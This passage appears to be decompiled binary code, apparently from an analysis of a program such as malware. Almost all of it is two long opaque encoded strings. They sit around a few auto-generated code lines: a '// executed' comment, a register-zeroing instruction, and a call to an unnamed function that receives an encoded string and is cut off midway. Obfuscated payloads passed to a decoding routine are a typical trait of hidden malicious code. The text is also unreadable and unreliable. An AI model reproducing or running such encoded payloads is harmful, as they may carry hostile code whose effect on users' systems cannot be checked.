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"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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